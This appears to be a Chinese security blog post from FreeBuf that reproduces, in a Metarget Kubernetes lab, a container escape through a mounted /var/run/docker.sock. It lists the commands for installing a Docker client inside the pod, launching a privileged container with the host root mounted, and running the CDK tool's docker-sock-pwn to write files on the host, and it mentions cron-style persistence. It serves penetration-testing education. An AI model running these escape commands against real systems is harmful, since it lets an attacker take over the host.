freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

容器逃逸-挂载docker.sock导致容器逃逸
风起云涌123 2023-11-06 21:52:12 195843

Docker Socket是Docker守护进程监听的Unix域套接字,用来与守护进程通信——查询信息或下发命令。如果在攻击者可控的容器内挂载了该套接字文件(/var/run/docker.sock),可通过Docker Socket与Docker守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建的容器内部,完成简单逃逸。

环境搭建

基础环境:

./metarget gadget install k8s --version 1.16.5 --domestic

漏洞环境:

./metarget cnv install mount-docker-sock

执行完成后,K8s集群内metarget命令空间下将会创建一个名为mount-docker-sock的pod。宿主机的/var/run/docker.sock被挂载在容器内部。

漏洞复现

通过以下两个步骤来完成简单逃逸:

  1. 在容器内安装Docker命令行客户端
  2. 使用容器内的客户端通过Docker socket与Docker守护进程通信,发送命令创建并运行一个挂载宿主机根目录的容器,实现基本逃逸。

进入容器

kubectl exec -it mount-docker-sock -n metarget bash

安装docker客户端

apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh

执行docker ps 结果和宿主机相同,证实docker.sock挂载成功

然后可以借此启动一个挂载宿主机根目录的特权容器,完成简单逃逸:

docker run -it -v /:/host --privileged --name=sock-test ubuntu /bin/bash

cat etc/hostname

工具使用

使用CDK检测docker.sock容器逃逸

CDK项目地址:https://github.com/cdk-team/CDK/releases/

curl -LO https://github.com/cdk-team/CDK/releases/download/v1.5.2/cdk_linux_amd64

mv cdk_linux_amd64cdk

chmod a+x cdk

./cdk run docker-sock-check /var/run/docker.sock

从返回结果上看可以进行逃逸。

执行命令新建文件

./cdk run docker-sock-pwn /var/run/docker.sock "touch /host/tmp/pwn-success"

在宿主机上查看新建的文件

还可以执行其他的命令,比如计划任务等。

# 漏洞 # 网络安全 # 系统安全
本文为 风起云涌123 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
渗透测试技术分享
风起云涌123 LV.5
安全研究员,拥有CRTO证书
  • 22 文章数
  • 10 关注者
基于deepseek本地大模型的敏感信息检测的burp插件开发
2025-02-06
tomcat takeover靶场实战
2024-07-11
CRTO(Certified Red Team Operator )课程和认证经验分享
2024-01-01
文章目录